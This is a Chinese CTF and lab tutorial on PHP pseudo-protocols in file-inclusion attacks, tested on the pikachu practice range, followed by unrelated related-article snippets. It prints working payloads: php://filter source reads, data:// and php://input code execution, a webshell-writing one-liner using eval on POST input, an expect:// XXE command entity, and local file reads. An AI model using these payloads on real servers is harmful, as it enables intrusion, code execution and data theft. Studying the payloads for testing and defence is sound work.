【PHP安全】PHP伪协议

PHP伪协议:

  • file:// #访问本地文件系统
  • http:// #访问HTTPs网址
  • ftp:// #访问ftp URL
  • php:// #访问输入输出流
  • zlib:// #压缩流
  • data:// #数据(RFC 2397)
  • ssh2:// #security shell2
  • expect:// #处理交互式的流
  • glob:// #查找匹配的文件路径
  • phar:// #PHP 归档
  • rar:// #RAR
  • ogg:// #音频流

配置文件PHP.ini中关键参数:

  • allow_url_fopen:是否允许打开远程文件
  • allow_url_include:是否允许 include/require 远程文件

php://

在CTF中经常用到的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码

php://filter

读取文件(必须使用base64编码读取出来源码,明文会被php解析执行,无法看到源码):

filename=php://filter/read=convert.base64-encode/resource=../../index.php

在这里插入图片描述
filename=../../index.php
会直接当成php文件解析
在这里插入图片描述

php://input

使用条件:

allow_url_include:on

代码执行:

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
在这里插入图片描述也可以写入一句话木马:

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?>

在这里插入图片描述

data://

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据
使用条件:

  • allow_url_fopen :on
  • allow_url_include:on

代码执行:

filename=data://text/plain,<?php phpinfo();?>
filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
filename=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

在这里插入图片描述补充:
在phpinfo中需要关注的敏感信息:

  1. 绝对路径
    包含环境变量 $_SERVER[‘PATH’] 文件根目录 $_SERVER[‘DOCUMENT_ROOT’] 等信息
    在这里插入图片描述
  2. 支持的程序
    可以看看服务器是否加载了redis、memcache、mongodb、mysql、curl,是否支持gopher、是否开启了fastcgi
  3. 查看真实IP
    $_SERVER[‘SERVER_ADDR’] 或SERVER_ADDR
    绕开 cdn 获取 C 段资产,旁站等重要信息
  4. 查看敏感配置
    allow_url_include:远程文件包含
    allow_url_fopen:远程文件读取
    在这里插入图片描述disable_functions:禁用的函数名
    open_basedir:可将用户访问文件的活动范围限制在指定的区域
    short_open_tag:允许<??>这种形式,并且<?=等价于<? echo
  5. 配置文件位置
    读取配置文件内容,获取信息
    Loaded Configuration File
    在这里插入图片描述

file://

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
任意文件读取:

filename=file:///C://windows/win.ini

zip://

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件
当zip:// 与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径,且要用#(#要用url编码%23)分隔压缩包和压缩包里的内容
只需要是zip的压缩包即可,后缀名可以为任意格式。

filename=zip://D:/phpstudy_pro/phpinfo.zip%23phpinfo.txt

在这里插入图片描述

zlib://

代码执行:
filename=compress.zlib://D:\phpstudy_pro\phpinfo.gz
在这里插入图片描述

phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容
代码执行:

filename=phar://D:\phpstudy_pro\phpinfo.zip/phpinfo.txt

在这里插入图片描述

expact://

XXE漏洞命令执行:

<?xml version="1.0"?>  <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "expect://id" > ]>  <foo>&xxe;</foo>

在这里插入图片描述

http:// & https:// 协议

允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
代码执行:

filename=http://127.0.0.1:8088/phpinfo.txt

在这里插入图片描述


安全配置小建议:
以上测试使用的是pikachu靶场,建议在使用时更改配置

在这里插入图片描述
更改为Allow from 127.0.0.1
在这里插入图片描述
这样和陌生人在同一局域网中时就不怕因为pikachu靶场被远控主机了
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/746771.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

33.使用ORDER BY排序

用ORDER BY子句排序行 ASC&#xff1a;升序排序&#xff0c;默认 DESC&#xff1a;降序排序 ORDER BY 子句在SELECT 语句的最后 在一个不明确的查询结果中排序返回的行。ORDER BY子句用于排序。如果使用了ORDER BY子句&#xff0c;它必须位于SQL语句的最后。 SELECT 语句的…

Siamese Network(孪生神经网络)详解

Siamese和Chinese有点像。Siam是古时候泰国的称呼&#xff0c;中文译作暹罗。Siamese也就是“暹罗”人或“泰国”人。Siamese在英语中是“孪生”、“连体”的意思&#xff0c;这是为什么呢&#xff1f;十九世纪泰国出生了一对连体婴儿&#xff0c;当时的医学技术无法使两人分离…

前端页面渲染机制

前端页面渲染机制是指在 web 开发中&#xff0c;浏览器如何将 HTML、CSS 和 JavaScript 转换为用户可视化的网页界面的过程。这个过程通常包括以下几个主要步骤&#xff1a; 加载 HTML: 首先&#xff0c;浏览器会获取 HTML 文件&#xff0c;并解析其结构。这个过程包括识别 HTM…

MySQL锁—全局锁、表级锁、行级锁详解

MySQL 锁 MySQL的锁按照锁的粒度可以分为全局锁、表级锁和行级锁。 一、全局锁 1. 概念 全局锁&#xff0c;是对整个数据库实例加锁&#xff0c;加锁后整个实例处于只读状态&#xff0c;后续的DML、DDL语句以及已经执行更新操作的事务提交语句都将被阻塞。 2. 应用场景 数据…

软件功能测试内容有哪些?湖南长沙软件测评公司分享

软件功能测试主要是验证软件应用程序的功能&#xff0c;且不管功能是否根据需求规范运行。是通过给出适当的输入值&#xff0c;确定输出并使用预期输出验证实际输出来测试每个功能。也可以看作“黑盒测试”&#xff0c;因为功能测试不用考虑程序内部结构和内部特性&#xff0c;…

MongoDB聚合运算符:$exp

文章目录 语法使用举例 $exp聚合运算符返回自然常数或欧拉数e的幂值&#xff08;次方&#xff09;的结果 语法 { $exp: <exponent> }<exponent>为指数&#xff0c;可以是任何数值表达式。 使用 如果参数为null或引用的字段不存在&#xff0c;$exp返回null&#…

【夏普利值——详细讲解】

夏普利值的介绍 沙普利值是合作博弈理论中的一个概念&#xff0c;由劳埃德-沙普利在1951年提出了这个概念&#xff0c;并因此在2012年获得了诺贝尔经济学奖。对于每个合作博弈&#xff0c;如联邦学习&#xff0c;可以将机构产生的模型的总提升在各个机构上形成一个有效的贡献分…

【iOS ARKit】PhysicsMotionComponent

使用 Physics BodyComponent 组件&#xff0c;通过设置物理参数、物理材质、施加作用力&#xff0c;能完全模拟物体在真实世界中的行为&#xff0c;这种方式的优点是遵循物理学规律、控制精确&#xff0c;但缺点是不直观。使用 PhysicsMotion Component组件则可以通过直接设置速…

Orange3数据预处理(清理特征组件)

清理特征 移除未使用的属性值和无用的属性&#xff0c;并对剩余的值进行排序。 输入 数据: 输入数据集 输出 数据: 过滤后的数据集 命名属性定义有时包含在数据中不出现的值。即使原始数据中没有这种情况&#xff0c;数据过滤、选择示例子集等操作也可能移除…

用python开发一个性能压测框架(超级简单)

用python开发一个性能压测框架&#xff08;超级简单&#xff09; 该框架是一个基础框架&#xff0c;超级简单&#xff0c;已经跑通&#xff0c;可以进行优化扩展 由于工作需要&#xff0c;最近开发了一款python性能压测框架&#xff0c;主要是对后端接口进行多线程压测 主要…

(二十五)Flask之MTVMVC架构模式Demo【重点:原生session使用及易错点!】

目录&#xff1a; 每篇前言&#xff1a;MTV&MVC构建一个基于MTV模式的Demo项目&#xff1a;蹦出一个问题&#xff1a; 每篇前言&#xff1a; &#x1f3c6;&#x1f3c6;作者介绍&#xff1a;【孤寒者】—CSDN全栈领域优质创作者、HDZ核心组成员、华为云享专家Python全栈领…

性能工具部署 - 自动在30多台机器上部署发流工具,并自动配置各自的参数,一键控制所有节点工具的启动、停止、重启

需求1&#xff1a;脚本快速上传文件到制定目录并解压 import paramiko import scp import os import pexpect# SSH连接信息 ssh_host 162.14.xx ssh_port 22 # 默认的SSH端口 ssh_username root # 登录用户名 ssh_password xx # 登录密码 sudo_password xx # 登录密码…

关于Transfomer的思考

为何诞生 在说transformer是什么&#xff0c;有什么优势之类的之前&#xff0c;先谈一谈它因何而诞生。transformer诞生最重要的原因是早先的语言模型&#xff0c;比如RNN&#xff0c;由于其本身的训练机制导致其并行度不高&#xff0c;特别是遇到一些长句子的情况下。其次&…

抖音开放平台第三方开发,实现代小程序备案申请

大家好&#xff0c;我是小悟 抖音小程序备案整体流程总共分为五个环节&#xff1a;备案信息填写、平台初审、工信部短信核验、通管局审核和备案成功。 服务商可以代小程序发起备案申请。在申请小程序备案之前&#xff0c;需要确保小程序基本信息已填写完成、小程序至少存在一个…

硬件笔记(26)---- 高速电路中滤波电容的选取

先要知道电容的等效电路 其中ESL取决于电容的类型和封装&#xff0c;一般用贴片陶瓷电容为例&#xff0c;对于直插式电解电容&#xff0c;他们的ESL很大。按下表&#xff0c;封装越大&#xff0c;ESL越大&#xff0c;但是0612有些例外 0612和1206就是 长短边的区别&#xff0c;…

什么是MVC三层结构

1.MVC&#xff08;三层结构&#xff09; MVC&#xff08;Model-View-Controller&#xff09;是一种常见的软件设计模式&#xff0c;用于将应用程序的逻辑和界面分离成三个不同的组件。每个组件负责特定的任务&#xff0c;从而提高代码的可维护性和可扩展性。 以前的模式。 遇到…

力扣_动态规划3—地下城游戏

题目 恶魔们抓住了公主并将她关在了地下城 dungeon 的 右下角 。地下城是由 m x n 个房间组成的二维网格。我们英勇的骑士最初被安置在 左上角 的房间里&#xff0c;他必须穿过地下城并通过对抗恶魔来拯救公主。 骑士的初始健康点数为一个正整数。如果他的健康点数在某一时刻…

一文解读ISO26262安全标准:功能安全管理

一文解读ISO26262安全标准&#xff1a;功能安全管理 1 安全生命周期1.1 概念阶段1.2 产品开发阶段1.3 生产发布后续阶段 2 安全管理的角色和职责3 安全活动的裁剪4 安全活动的评审5 安全活动的评估6 交付物 下文的表中&#xff0c;一些方法的推荐等级说明&#xff1a; “”表示…

【网络安全渗透】常见文件上传漏洞处理与防范

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; 所属的专栏&#xff1a;网络安全渗透 景天的主页&#xff1a;景天科技苑 文章目录 1.文件上传漏洞1.1. 描述1.2. 危害1.3. 有关文件上传的知识1.4…

【兔子机器人】修改GO、车轮电机ID(软件方法、硬件方法)以及修正VMC腿部初始化夹角

一、GO电机修改ID 1、硬件方法 利用上位机直接修改GO电机的id号&#xff1a; 打开调试助手&#xff0c;点击“调试”&#xff0c;查询电机&#xff0c;修改id号&#xff0c;即可。 但先将四个GO电机连接线拔掉&#xff0c;不然会将连接的电机一并修改。 利用24V电源给GO电机…